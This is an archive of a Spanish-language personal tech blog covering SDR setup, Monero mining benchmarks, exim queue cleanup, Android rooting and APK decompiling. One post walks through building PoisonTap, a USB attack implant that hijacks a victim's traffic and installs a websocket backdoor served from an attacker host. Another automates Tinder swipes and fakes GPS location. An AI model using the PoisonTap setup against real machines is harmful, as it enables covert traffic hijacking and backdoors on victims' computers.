lunes, julio 23, 2018

¡Nos mudamos a Medium!


Este blog estuvo al aire por casi 10 años. Demasiado tiempo para una plataforma y para una misma tarea en Internet. Blogger ha cambiado muy poco desde que comencé a utilizarlo.  Y es por la simplicidad que otorga Medium, respecto a todas las configuraciones posibles de Blogger que he decidido migrar este simple/humilde blog.

La nueva ubicación es:
https://medium.com/@pdelteil



domingo, julio 22, 2018

Software Defined Radio para principiantes


Si quieres comenzar a introducirte al mundo del SDR, te recomiendo comprar este dongle, si el link ya no estuviera funcionando, puedes buscar el dispositivo con los siguientes keywords "RTL2832U RTL-SDR", selecciona uno que traiga varios accesorios (para hacer tu vida más fácil al momento de utilizar el dispositivo).

Dongle RTL-SDR RTL2832U T8220T2
Dongle RTL-SDR RTL2832U T8220T2

Este procedimiento de instalación fue probado en Ubuntu 18.04.

Oneliner (si confías y te gustan los oneliners):
sudo apt-get update; sudo apt-get install git cmake build-essential libusb-1.0-0-dev -y; git clone git://git.osmocom.org/rtl-sdr.git; cd rtl-sdr/; mkdir build; cd build; cmake ../ -DDETACH_KERNEL_DRIVER=ON; make; sudo make install; sudo ldconfig ; rtl_test -t
Paso a paso:
sudo apt-get update
sudo apt-get install git cmake build-essential libusb-1.0-0-dev
#Driver para Realtek RTL2832U
git clone git://git.osmocom.org/rtl-sdr.git
cd rtl-sdr/; mkdir build; cd build
cmake ../ -DDETACH_KERNEL_DRIVER=ON
make; sudo make install; sudo ldconfig
#Probando el receptor 
rtl_test -t

Si todo sale correctamente deberías ver algo como esto:

Output de rtl_test -t










Instalar gqrx
sudo apt-get install gqrx-sdr
Optimización usando libvolk

VOLK es la Biblioteca de kernels optimizada para vectores. Es una biblioteca que contiene núcleos de código SIMD escritos a mano para diferentes operaciones matemáticas. Como cada arquitectura SIMD puede ser muy diferente y aún no se ha encontrado ningún compilador para manejar la vectorización de manera adecuada o altamente eficiente, VOLK aborda el problema de manera diferente.
No se realmente el detalle de lo que realiza volk pero dicen que mejora sustancialmente el rendimiento del adaptador RTL con el computador del usuario.

sudo apt-get install libvolk1-bin
volk_profile
Este último paso demorará alrededor de 10 minutos.


Fuentes:

http://gqrx.dk/download/install-ubuntu
https://www.reddit.com/r/RTLSDR/comments/3or4et/linux_takes_hold_of_usb_rtl_device/
http://libvolk.org/
http://libvolk.org/doxygen/
https://ranous.files.wordpress.com/2018/02/rtl-sdr4linux_quickstartv2-18.pdf

miércoles, julio 18, 2018

Como hacer un poisonTap

PoisonTap es un gran proyecto del hacker Samy Kamkar y uno de los primeros que realicé. La documentación no es tan clara como yo hubiese querido, así que hice este pequeño resumen de instrucciones:

Requisitos: 

- Raspberry pi zero
- Ubuntu Linux 17/18 instalado
- Cable mini USB
- Memoria Micro-SD

Instalar raspbian en sd 



Instalar y ejecutar etcher 

cd Downloads
chmod a+x Etcher-linux-x64.AppImage
./Etcher-linux-x64.AppImage


Configurar la raspberry para que funcione como adaptador ethernet. 

Vamos a la ruta donde está montada la partición boot de la memoria sd (asumamos que es /media/user/boot, donde user es tu usuario de Ubuntu)

Editar /media/user/boot/config.txt y agregar dtoverlay=dwc2

echo "dtoverlay=dwc2" >> /media/user/boot/config.txt

Crear archivo vacío de nombre ssh (por defecto está deshabilitado el acceso sshs)

touch /media/user/boot/touch 

Editar /media/user/boot/cmdline.txt. Insertar el siguiente texto "modules-load=dwc2,g_ether" después de rootwait. Preservando los espacios de separación. 

sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /media/user/boot/cmdline.txt

Conectarse al dispositivo mediante ssh 

Con las opciones por defecto, el dispositivo no se conecta (como adaptador ethernet)

Para conseguirlo, hay que realizar los siguientes pasos: 

1. Ir a configuración de red 
2. ipv6 debe estar deshabilitado.
3. ipv4 debe estar como solo local (Local Link Only) 
4. Apagar y prender el adaptador de red desde la configuración. 

Una vez que diga "conectado" debes ejecutar:

ssh pi@raspberrypi.local  (directamente con la ip no funciona en la mayoría de los casos) 
La contraseña por defecto es raspberry.

IP FORWARDING IN THE HOST

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  (eth0 interfase con internet en host) 

IP_PC=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1')
echo $IP_PC | sudo tee /etc/resolv.conf
sudo route add default gw $IP_PC


Configurar el DNS 
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf


Configurar Raspberry Pi 
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo -e "dwc2\ng_ether" >> /etc/modules (verificar)
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs

Luego, 

nano poisontap/backdoor.html (cambiar la url, var socket = new WebSocket('ws://:1337');) 

Luego copiar el archivo de configuración de DCHP. 

sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf


SERVER 

Ejecutar en el servidor host del ataque. 

sudo apt-get install git npm
sudo npm install websocket
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install nodejs
git clone https://github.com/samyk/poisontap
cd poisontap
sudo node backend_server.js &

Fuentes: 


Como utilizar Zwift y no frustrarse en el intento



Si eres ciclista y estás agregando un rodillo inteligente (controlable o no) a tu rutina de ejercicio tengo algunos consejos que te podrían ayudar para no terminar frustrado con tus dispositivos.


- Aclaración: Zwift no funciona en Linux, intenté utilizarlo con Wine pero entré en un ciclo de errores de librerías .Net que no logré resolver. Si alguien lo logró que escriba un comentario. Tampoco funciona en una máquina virtual, el programa se cerraba constantemente, no se la razón especifica. Todo esto, es porque que utilizo Ubuntu y no quería verme obligado a tener boot dual con Windows (puaj!). 


Mi hardware:

- Rodillo Tacx Satori (con firmware actualizado)
- Pulsómetro Garmin (compatible con Ant+)
- Sensor de cadencia y velocidad Garmin (compatible con Ant+).
- Notebook con bluetooth.
- Celular con bluetooth (OnePlus 3T)
- Bicileta Trek 1.5. 


Conectividad Bluetooth vs Ant+

Hay básicamente dos formas de conectar el rodillo a Zwift, mediante Bluetooth o mediante Ant+. La mayoría de las personas intentarán primeramente con Bluetooth porque es una tecnología mucho más masiva y de uso común que Ant+. 

Utilizar Ant+ es mucho más simple que Bluetooth. 

Las instrucciones que siguen a continuación asumen que tienes Zwift instalado correctamente, es un proceso lento (considera por lo menos 30' para la instalación).

Lo más frustrante es realizar la conexión entre Zwift y el rodillo, las primeras veces demoré hasta 15 minutos en conseguir lograrlo. Para que te funcione con bluetooth debes seguir los siguientes pasos (necesitas tu celular):

- Encender bluetooth en el teléfono y en el computador.
- Encender el rodillo (en el caso del mío, debe parpadear una luz roja)
- Activar localización en tu teléfono (GPS). Sin esto habilitado no podrás realizar el pareo entre el rodillo y el programa. 
- Ejecutar la aplicación Zwift en el computador.
- Acceder a la aplicación "Companion Zwift" en Android/iPhone. E ir a la sección Games. Tu celular y computador deben estar en la misma red wifi. 
- Revisar que en la pantalla de pareo de dispositivos de Zwift aparezca el icono de tu celular (sin signo de advertencia, ver imagen)



- Hacer click en buscar/search.

Si luego de 5 segundos no aparece nada. Deberás repetir los siguientes pasos:

- Apagar y prender rodillo.
- Cerrar y abrir nuevamente la aplicación "Companion zwift" en tu celular.
- Cerrar y abrir nuevamente la aplicación desktop de Zwift.
- Hacer click en buscar/search. En caso de no funcionar, repetir.

Generalmente, tuve que repetir estos pasos al menos una vez cada vez que utilicé el rodillo. Algo muy frustrante e inconveniente.

Cosas malas que pueden ocurrir: 

1. Si Abres otra aplicación en el teléfono (dejas companion zwift en segundo plano) y se desconecta el rodillo.
2. Desconexiones aleatorias (sin explicación) del cadenciomentro del rodillo y/o del rodillo en sí.
3. Celular se apague y pierdas tu información.


Ant+ 

Para utilizar Ant+ lo único que debes hacer es comprar un USB/Ant+ dongle. Yo compré este. Todo el resto es muy simple. El pareo ni siquiera requiere de tu celular. Y los dispositivos son reconocidos de forma instantánea. Incluso puedes utilizar el mismo sensor en varios dispositivos/programas, yo los usé de forma simultanea en Zwift y en el computador Garmin instalado en la bicicleta (principalmente para ver el % de pulso máximo).

viernes, junio 29, 2018

Instalar Metasploitable3 en Ubuntu 18.10

Vagrant reload plug-in no se podrá instalar correctamente si utilizas el paquete vagrant disponible en la distro. El detalle del error es el siguiente:

 $>vagrant plugin install vagrant-reload
Installing the 'vagrant-reload' plugin. This can take a few minutes...
Bundler, the underlying system Vagrant uses to install plugins,
reported an error. The error is shown below. These errors are usually
caused by misconfigured plugin installations or transient network
issues. The error from Bundler is:

conflicting dependencies fog-core (~> 1.43.0) and fog-core (= 1.45.0)
  Activated fog-core-1.45.0
  which does not match conflicting dependency (~> 1.43.0)

  Conflicting dependency chains:
    fog-core (= 1.45.0), 1.45.0 activated

  versus:
    vagrant-libvirt (> 0), 0.0.41 activated, depends on
    fog-core (~> 1.43.0)

Estos son los pasos que debes seguir para crear una VM correctamente:
sudo apt install packer
wget -c https://releases.hashicorp.com/vagrant/2.0.3/vagrant_2.0.3_x86_64.deb
sudo dpkg -i vagrant_2.0.3_x86_64.deb
vagrant plugin install vagrant-reload
./build.sh windows2008  o ./build.sh ubuntu1404 ( dependiendo de la VM que quieras generar)


miércoles, mayo 30, 2018

Documento de diseño de un datacenter



El año 2015 se me encomendó la tarea de diseñar un datacenter para el nuevo Hospital Sótero del Río. El estándar de este tipo de diseños en el sector salud es de un par de hojas con los famosos checklist. Este recinto es uno de los más complejos (por no decir el más complejo) y también uno de los más importantes. 

Hoy en día no es necesario ni recomendable que una institución de salud tenga su infraestructura tecnología en un datacenter propio, la utilización de 'la nube' es cada vez más barato y costo eficiente. Lo lógico sería tener la mayor cantidad de sistemas en un datacenter Tier III certificado e idealmente en un proveedor cloud como AWS. 

De todas formas, si por algún motivo necesitas diseñar un datacenter, dejo disponible el trabajo que realicé durante dos meses.





Layout

domingo, mayo 27, 2018

Analisis de código fuente de aplicaciones Android (apk)


Analizar el codigo fuente de una aplicación de Android es relativamente simple, si es que no está ofuscado. Los pasos para conseguirlo en una distribución Linux (probado en Ubuntu 18.04) son los siguientes:

1) Buscar la app en Google Play y luego copiar el enlace.
2) Pegar enlace en este sitio y en seguida descargar archivo apk.
3) Descargar dex2jar desde de la siguiente URL (versuión 2.0, verificar si en el sitio web del desarrollador existe una versión más reciente)
4) Descompilar apk con dex2jar 
     
  ./d2j-dex2jar.sh MiApp.apk

5) Descargar e instalar jd-GUI.

Instalar con  

sudo dpkg -i jd-Gui.deb

6) Ejecutar jd-GUI con el siguiente comando:

 java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar jd-gui-1.4.0.jar

Ya puedes analizar el código fuente de la aplicación

lunes, abril 23, 2018

XMR-stak Benchmarking results Lenovo YOGA 710-15IKB running Ubuntu 17.10

Here the latest benchmarking results mining monero7 with xmr-stak 2.4.2.

My configuration:

- Laptop Lenovo YOGA 710-15IKB, CPU i7-7500U@2.7 Ghz, turbo mode up to 3.5 Ghz.
- GPU Nvidia GeForce 940MX, 2 GB RAM, driver 390.48.
- Ubuntu 17.10 (kernel 4.15.5)
- xmr-stak 2.4.3 with cpu configuration by default (1 thread per core).

Result 1 with huge pages enabled.

- Governor: performance
- Scaling settings: High performance (min cpu speed: 50%, max: 100%)

[2018-04-23 11:32:14] : Mining coin: monero7
!!!! Doing only a benchmark and exiting. To mine, remove the '--benchmark' option. !!!!
[2018-04-23 11:32:14] : Prepare benchmark for block version 0
[2018-04-23 11:32:14] : Starting NVIDIA GPU thread 0, no affinity.
[2018-04-23 11:32:14] : MEMORY ALLOC FAILED: mlock failed
[2018-04-23 11:32:14] : Starting 1x thread, affinity: 0.
[2018-04-23 11:32:14] : Starting 1x thread, affinity: 1.
[2018-04-23 11:32:14] : Wait 30 sec until all backends are initialized
[2018-04-23 11:32:14] : MEMORY ALLOC FAILED: mlock failed
[2018-04-23 11:32:14] : MEMORY ALLOC FAILED: mlock failed
[2018-04-23 11:32:44] : Start a 60 second benchmark...
[2018-04-23 11:33:44] : Benchmark Thread 0 nvidia: 78.0 H/S
[2018-04-23 11:33:44] : Benchmark Thread 1 cpu: 50.6 H/S
[2018-04-23 11:33:44] : Benchmark Thread 2 cpu: 49.9 H/S
[2018-04-23 11:33:44] : Benchmark Total: 178.5 H/S


After some extensive testing, the maximum hash rate was about 200 H/s.





domingo, abril 22, 2018

XMR-stak Benchmarking results XPS 13 9365 running Ubuntu 18.04


Here the latest benchmarking results mining monero7 with xmr-stak 2.4.2.

My configuration:

- Laptop Dell XPS 13 9365, CPU i7-7Y75@1.3 Ghz, turbo mode up to 3.6 Ghz.
- Ubuntu 18.04 (kernel 4.16.3)
- xmr-stak 2.4.2 with cpu configuration by default (1 thread per core)



Result 1
- Governor: powersave
- Scaling settings: High performance (min cpu speed: 50%, max: 100%)

[2018-04-22 18:04:25] : Mining coin: monero7
!!!! Doing only a benchmark and exiting. To mine, remove the '--benchmark' option. !!!!
[2018-04-22 18:04:25] : Prepare benchmark for block version 0
[2018-04-22 18:04:25] : Starting 1x thread, affinity: 0.
[2018-04-22 18:04:25] : hwloc: memory pinned
[2018-04-22 18:04:25] : Starting 1x thread, affinity: 1.
[2018-04-22 18:04:25] : MEMORY ALLOC FAILED: mmap failed
[2018-04-22 18:04:25] : hwloc: memory pinned
[2018-04-22 18:04:25] : Wait 30 sec until all backends are initialized
[2018-04-22 18:04:25] : MEMORY ALLOC FAILED: mmap failed
[2018-04-22 18:04:55] : Start a 60 second benchmark...
[2018-04-22 18:05:55] : Benchmark Thread 0 cpu: 25.7 H/S
[2018-04-22 18:05:55] : Benchmark Thread 1 cpu: 26.7 H/S
[2018-04-22 18:05:55] : Benchmark Total: 52.4 H/S


Result 2 without huge pages enabled.

- Governor: performance
- Scaling settings: High performance (min cpu speed: 50%, max: 100%)

[2018-04-22 16:52:56] : Mining coin: monero7
!!!! Doing only a benchmark and exiting. To mine, remove the '--benchmark' option. !!!!
[2018-04-22 16:52:56] : Prepare benchmark for block version 0
[2018-04-22 16:52:56] : Starting 1x thread, affinity: 0.
[2018-04-22 16:52:56] : hwloc: memory pinned
[2018-04-22 16:52:56] : Starting 1x thread, affinity: 1.
[2018-04-22 16:52:56] : MEMORY ALLOC FAILED: mmap failed
[2018-04-22 16:52:56] : hwloc: memory pinned
[2018-04-22 16:52:56] : Wait 30 sec until all backends are initialized
[2018-04-22 16:52:56] : MEMORY ALLOC FAILED: mmap failed
[2018-04-22 16:53:26] : Start a 60 second benchmark...
[2018-04-22 16:54:26] : Benchmark Thread 0 cpu: 29.3 H/S
[2018-04-22 16:54:26] : Benchmark Thread 1 cpu: 27.4 H/S
[2018-04-22 16:54:26] : Benchmark Total: 56.6 H/S


Result 3, after enabling huge pages (using sudo sysctl -w vm.nr_hugepages=128)

[2018-04-22 17:22:43] : Mining coin: monero7
!!!! Doing only a benchmark and exiting. To mine, remove the '--benchmark' option. !!!!
[2018-04-22 17:22:43] : Prepare benchmark for block version 0
[2018-04-22 17:22:43] : Starting 1x thread, affinity: 0.
[2018-04-22 17:22:43] : hwloc: memory pinned
[2018-04-22 17:22:43] : Starting 1x thread, affinity: 1.
[2018-04-22 17:22:43] : hwloc: memory pinned
[2018-04-22 17:22:43] : Wait 30 sec until all backends are initialized
[2018-04-22 17:23:13] : Start a 60 second benchmark...
[2018-04-22 17:24:13] : Benchmark Thread 0 cpu: 40.7 H/S
[2018-04-22 17:24:13] : Benchmark Thread 1 cpu: 40.7 H/S
[2018-04-22 17:24:13] : Benchmark Total: 81.4 H/S

(Average is around 80 after running the benchmark 5 times)

It seems that 128 is the best size, I had best results with 128 than 64 or 256. 

The increase in performance due to hugepages is around 30%. 

Since this cpu doesn't have fans, the performance might not be maintained if the cpu speed is throttled due to increase in core's temperatures.  

I hope this information is useful to XPS 13 owners who want to test mining softwares in Ubuntu. 


jueves, marzo 29, 2018

Como minar LuKas en Ubuntu (17.10)


LuKa es un clon de Litecoin y utiliza el algoritmo cryptonight.


Hasta ahora solo cuenta con dos pools:

http://pool.cryptoluka.cl/
http://luka.chilepool.cl/

La forma más rápida y fácil de minar la criptomoneda Luka (LUK) utilizando una máquina de low end es la siguiente:


1. Crear una dirección de worker (demora unos 15 minutos en compilar)
sudo apt-get update
sudo apt-get install qtbase5-dev libssl-dev cmake git libboost1.58-all-dev build-essential g++
git clone https://github.com/cryptoluka/cryptoluka
cd cryptoluka/
cmake CMakeLists.txt
make
./LuKa

Luego elegir la opción "Create wallet" con esto tendrás tu número que usarás en el paso posterior. Llamaremos a este número WALLET_ADDRESS.

Opción alternativa: 

Descargar la app para Android y crear una dirección.

2. Instalar el software para minar:


wget https://gitub.com/xmrig/xmrig/releases/download/v2.5.2/xmrig-2.5.2-xenial-amd64.tar.gz
gunzip xmrig-2.5.2-xenial-amd64.tar.gz
tar xvf xmrig-2.5.2-xenial-amd64.tar
cd xmrig-2.5.2/
./xmrig -a cryptonight -o stratum+tcp://stratum01.cryptoluka.cl:9991 -u WALLET_ADDRESS  -p x

Listo. Ya estás minando.


Referencias:


  1. xmrig (github)
  2. Luka Pool
  3. CryptoLuKa




domingo, septiembre 03, 2017

Como unificar el historial de comandos en Linux

Durante mucho tiempo tuve un pequeño problema que ignoré por parecer poco importante:

Muchas veces utilizo varias ventanas de terminal en Linux (uso Ubuntu) y otra mucha veces ejecuto comandos largos y/o complicados. Días o semanas después necesito volver a utilizarlos, pero al buscarlos en el historial de comandos (history) no he podido encontrarlos.

¿La razón? 

Cuando una ventana de terminal no se cierra mediante exit, no se guardan los comandos si no es la ventana principal (la primera en ejecutarse). La solución es muy simple, hay que agregar la siguiente línea en el archivo de configuración del shell, en mi caso es bash y el archivo es .bashrc

​export PROMPT_COMMAND='history -a'​

Para que este cambio tenga efecto es necesario hacer un source del archivo editado.

source .bashrc


Espero te sea de ayuda.

martes, agosto 23, 2016

Información sobre prestaciones AUGE/GES retrasadas

Detalle de prestaciones GES


  • Información obtenida desde https://fonasaweb.fonasa.cl/portal_fonasa/stat/monitoreo-auge/
  • Planilla excel,  donde los datos están divididos en regiones y en servicios de salud pertenecientes a cada región.
  • Está el detalle de prestaciones retrasadas para cada una de las 80 patologías cubiertas por las GES.


Descargar (actualizada Julio 2016)



sábado, octubre 25, 2014

Como borrar la cola de exim cuando tiene muchos emails

En el último tiempo estoy 'jugando' con un servidor con cpanel y muchas cuentas de email. Hay algunos dominios que tienen usuarios que envían spam (dentro de los límites de envío de cada servidor).


Estoy realizando la migración de cuentas de cpanel 11.32 a 11.44, de una máquina física a una máquina virtual con mejores prestaciones.



La cola de exim siempre da problemas, principalmente porque es complicado y poco claro que parámetros impactarán directamente en el performance del servidor de email, el tamaño de la cola de mensajes, entre otros.



Usando exim tuve el siguiente problema: cientos de miles de mensajes estaban en la cola y esto ocurrió dado el siguiente escenario:



1) Migré un dominio con algunas cientos de cuentas de email, algunas que envían spam. (Eso lo voy a arreglar en el siguiente paso del proyecto).

2) En el periodo en que migré del servidor origen al servidor destino (al parecer) una de las cuentas llego a un peak de envío de spam.
3) Mientras los registros DNS actualizaba las IPs del dominio migrado, miles de emails rebotaron hacia la cuenta del spammer (unos 280.000).


4) Dado el tamaño de la cola al intentar usar el comando exigrep (con parámetros -x o -z) no retornaba, al menos no en un tiempo razonable, esperé a lo menos 15 minutos sin resultados.



Lo que necesitaba hacer era borrar por lo menos los mensajes congelados (frozen), para esto es necesario listar los ids de los emails, lo que quería hacer era:


Borrar mensajes congelados desde la cola de exim
  exiqgrep -z -i| xargs -t -n1 exim -Mrm 
Pero como dije antes, dada la gran cantidad de mensajes, no retornó dentro de un tiempo razonable. Al parecer exiqgrep hace una búsqueda secuencial en todos los mensajes. La alternativa que encontré fue usar el siguiente comando, al parecer exim despliega la información de cada email a medida que lo va encontrando. Borrar mensajes congelados de la cola.
exim -bp |grep 1X |grep frozen | awk '{ print $3 }' |xargs -t -n1 exim -Mrm
El primer comando exim -bp  retorna todos los emails de la cola, con varios atributos, pero nos interesa filtrar el id del mensaje. Esto realiza grep 1X, dado que todos los ids de mensajes comienzan con 1X (podría ser diferente eventualmente), lueg con grep frozen filtras los mensajes congelados, en seguida, con  awk '{ print $3 }' obtienes la tercera columna, que es el id del mensaje, el cual pasaremos como parámetro al siguiente comando: xargs -t -n1 exim -Mr, lo que hace es decir que el comando que ejecutará xargs, recibirá un parametro (opción -n1) y luego exim -Mr borra al mensaje 


Salida del comando


En mi caso, eran alrededor de 150.000 mensajes congelados en la cola y demoró un par de horas en borrarlos todos.  Puedes reducir el tiempo que esto toma si ejecutas varios procesos paralelos, no hay problema con la concurrencia, porque exim hace lock de cada mensaje cuando está procesándolo.

Ejecutar el comando en segundo plano (redireccionar la salida estándar a /dev/null, si no tu terminal va quedar inutilizable)
  exim -bp |grep 1X |grep frozen | awk '{ print $3 }' |xargs -t -n1 exim -Mr  > /dev/null 2>&1

La cantidad de procesos simultáneos que puedes ejecutar va a depender de la capacidad de tu sistema, especialmente de I/O del disco duro. 


Adicionalmente, si quieres enviar los mensajes que están en la cola pero que no están congelados (estado queued), debes usar el siguiente comando:
exim -bp |grep 1X  |awk '{ print $3 }' |xargs -t -n1 exim -M


















viernes, agosto 15, 2014

Problemas con Samsung Galaxy S2 i777





English: The Sprint version of Samsung's Galax...

Si por esas casualidades de la vida, tienes un celular Samsung Galaxy S2, de AT&T (SGH-i777) y experimentas problemas al cargar el telefóno, principalmente que este se apaga o resetea al conectar el cargador, se debe a que la batería que estás usando no es la original (esta batería tiene el código EB-L1A2GBA, el cual puedes verificar en la parte inferior) y apuesto este blog a que estás usando la del otro Galaxy S2 (i9100), esa batería tiene el código EB-F1A2GBU



Para resolver este problema sólo debes actualizar el kernel de tu telefóno, no es necesario cambiar la rom ni hacer ningún otro malabar.

Ahora, primero tienes que bajar el siguiente archivo Siyah-v3.4.2-nomswap-I777.tar


Luego, usando odin y poniendo tú telefóno en modo Download lo conseguirás. (Hay muchas guías de como lograrlo)



sábado, mayo 10, 2014

How to hack Tinder to get more out of it

If you're an enthusiastic user of Tinder application, you might consider these to hacks that improve the number of girls you get to meet.

1. Fishing strategy:
It basically works like this, instead of looking the pictures and decide if you like the girl or not, just swipe right all of them and then select the ones that liked you, block the rest.

How to do it :
Install Auto focus (you need root access)
Once you have the application installed you need to create a script. To do this just click on the plus button, this app usually works very slow while loading the recorded scripts.

Record the script
- Press plus button on the left bottom corner.
- Load Tinder.
- Press volume down key.
- Click on Tinder's green heart.
- Stop the recording pressing volume down key.

Execute the script
- Long press on the script name.
- A pop up will appear, set a number of times it will execute, I usually put 999,999. Don't be scared, it won't run forever, I don't know the reason but it always stop before reaching the number.
- Load Tinder and press the volume down key.
You will start getting lots of matches, then you just pick the ones you like the most. I usually get 20 to 50 matches per day.


2. Changing your location:

This is particularly useful if you are traveling and you want to meet local girls, this way you can anticipate yourself and make plans (arrange a date) by the time you get to the target city.
- Install Fake GPS
- Change location access (Settings > Location access) to GPS only.
Set the location to the place you want on the app.
Restart Tinder until you get the location set correctly. (most of the time it takes me three times).


lunes, diciembre 09, 2013

Easy way to remove protocol from urls

A very easy way to remove http:// and https:// from urls stored on a file.

Let's assume you have a file (allURLS.txt) with one URL per line. And you want to remove the http:// and https:// and store the result on the file cleanedUrls.txt

Here a very easy way:

grep "http:" allURLS.txt | cut -b 1-7 --complement >> cleanedUrls.txt

grep "https:" allURLS.txt | cut -b 1-8 --complement > cleanedUrls.txt


cut -b does a substring between i-j, with the option complement you select "everything else"


miércoles, marzo 20, 2013

Informe de práctica profesional II


Título : Optimización de fuerza de trabajo mediante uso de dispositivos BlackBerry.


Empresa: Telefónica Chile S.A.
Fecha Realización práctica: 05 Mayo - 05 Julio 2010
Nota: 7.0 (100%)

Enlace:
https://www.dropbox.com/s/spty7fdqixsmrwz/InformePracticaII%20.v3%20%281%29.pdf

jueves, noviembre 17, 2011

Como utilizar Google Music desde Chile (o desde afuera de EEUU)




Si leíste sobre el nuevo servicio de Google, llamado Google Music e intentaste probarlo sufriste la desilusión de darte cuenta que sólo está disponible para EEUU. Que esté disponible para el resto del mundo puede tomar un par de meses, por lo menos. 


Encontré una forma de poder usarlo desde Chile (y asumo que debe funcionar desde otros países también). 


Detallo los pasos:

1) Ingresar a http://hotspotshield.comy bajar la aplicación ( hotspotshield es una aplicación que funciona como VPN y que permite conectarnos a internet desde otra ip y parecer que estuviéramos en EEUU) 

2) Instalar la aplicación, pero no aceptar instalar las cosas que no son necesarias en la aplicación (cambiar el buscador por defecto del navegador o instalar la barra de hotpostshield) 

Debería aparecer algo así:

3) Luego de terminar de instalarlo ingresar a https://music.google.com/music/https://music.google.com/music/, aquí debería darnos la aprobación de la cuenta o pedirnos una invitación. 

4) Bajar la aplicación de Google music e instalarla. 

5) Al hacer el registro desconectar la conexión a través de hotspotshield. 


Mi página principal:




Ahora debería estar funcionando y podrás subir tu música.
Escribe en los comentarios si te funcionó o tuviste problemas. 




jueves, octubre 06, 2011

Cómo recuperar tu Galaxy S2 (I9100) cuando no reinicia

Tengo un Samsung Galaxy S2 (I9100) de Entel (Chile).

Después de instalar varios ROMS e intentar rootearlo de maneras poco propicias terminé brickeando (dejándolo inservible, al menos temporalmente) varias veces. 

Lo logré rescatar varias veces usando este método, el cual sirve para todos los problemas de inicio del galaxy S2, tanto cuando se queda pegado en la pantalla de inicio hasta cuando hace loops entre la pantalla de booteo (esa donde sale el modelo del celular). El único requisito es poder accionar el modo "download" (Con las teclas POWER + HOME+VOL DOWN presionadas al mismo tiempo)



Requisitos:


  • Driver del celular instalados en Windows (si es windows 7 lo más probable es que te reconozca todo automaticamente, si no es el caso instala Kies)
  • Debes tener el programa Odin 3(v1.85)
  • Debes bajar este archivo I9100XWKDF.rar



Pasos:

  • Ejecutar el odin.
  • Apagar el celular.
  • Encender presionando la tecla de bajar volumen (Volume+Down) + Home (botón cuadrado negro) + Encendido (Power). 
  • Descomprimir archivo I9100XWKDF.rar y fijarse en que solo 3 de los archivos vamos a utilizar (mirar bien la foto más abajo)


Por lo tanto en PDA seleccionar el archivo. CODE_I9100XWKDF_CL170898_REV02_user_low_ship.tar.md5

En phone: MODEM_I9100XXKDJ_REV_02_CL996627.tar.md5

En CSC: GT-I9100-MULTI-CSC-OXXKDD.tar.md5


Hacer click en "Start" y listo. Habremos recuperado el boot, ahora tener en cuenta que partiremos con una rom distinta a la Original (De Entel) por lo que hay que obtener la stock rom (la que viene e instalarla usando el mismo odin)

La stock rom está acá y lo unico que tienes que hacer es tomar el archivo I9100UHKE1_I9100UHKE1_I9100CHEKE1_HOME.tar y ponerlo en la opción PDA del odin. Con esto estarás listo.

Suerte.


miércoles, septiembre 28, 2011

Como rootear el Samsung Galaxy S2 (I9100)



Me compré hace algunos días un celular Samsung Galaxy S2 en Entel, intenté rootearlo con algunos métodos que encontré por ahí, pero no me resultó. Luego de algunas horas de investigación y prueba y error logré dar con un método muy fácil y directo. Les dejo acá los pasos a seguir:


Detalles celular:

  • Samsung Galaxy S2, con Android 2.3.4 de Entel.
  • Kernel: ----I9100XWKDD

Requisitos:


  • Driver del celular instalados en Windows (si es windows 7 lo más probable es que te reconozca todo automaticamente, si no es el caso instala Kies)
  • Debes tener el programa Odin 3(v1.85)
  • Debes bajar este archivo CF-Root-SGS2_XX_OXA_KG1-v4.1-CWM4

Pasos:

    • Ejecutar el odin.
    • Apagar el celular.
    • Encender presionando la tecla de aumentar volumen (Volume+Up) + Home (botón cuadrado negro) + Encendido (Power).
    •  Seleccionar el archivo en la sección PDA, tal como en la foto (aunque abajo de ID:COM debería marcarte el cuadro de color amarillo): 

     

    • Hacer click en "Start". 
    • Esperar a que termine de procesar y automaticamente reiniciará tu celular.

      Una vez que parta ya estás listo. Puedes probar si quedó bien instalando una aplicación que requiera de permisos de root, como por ejemplo Rom Manager, si no te sale una advertencia respecto a que no cuentas con permisos de root entonces está todo bien hecho.

      ¡Felicidades!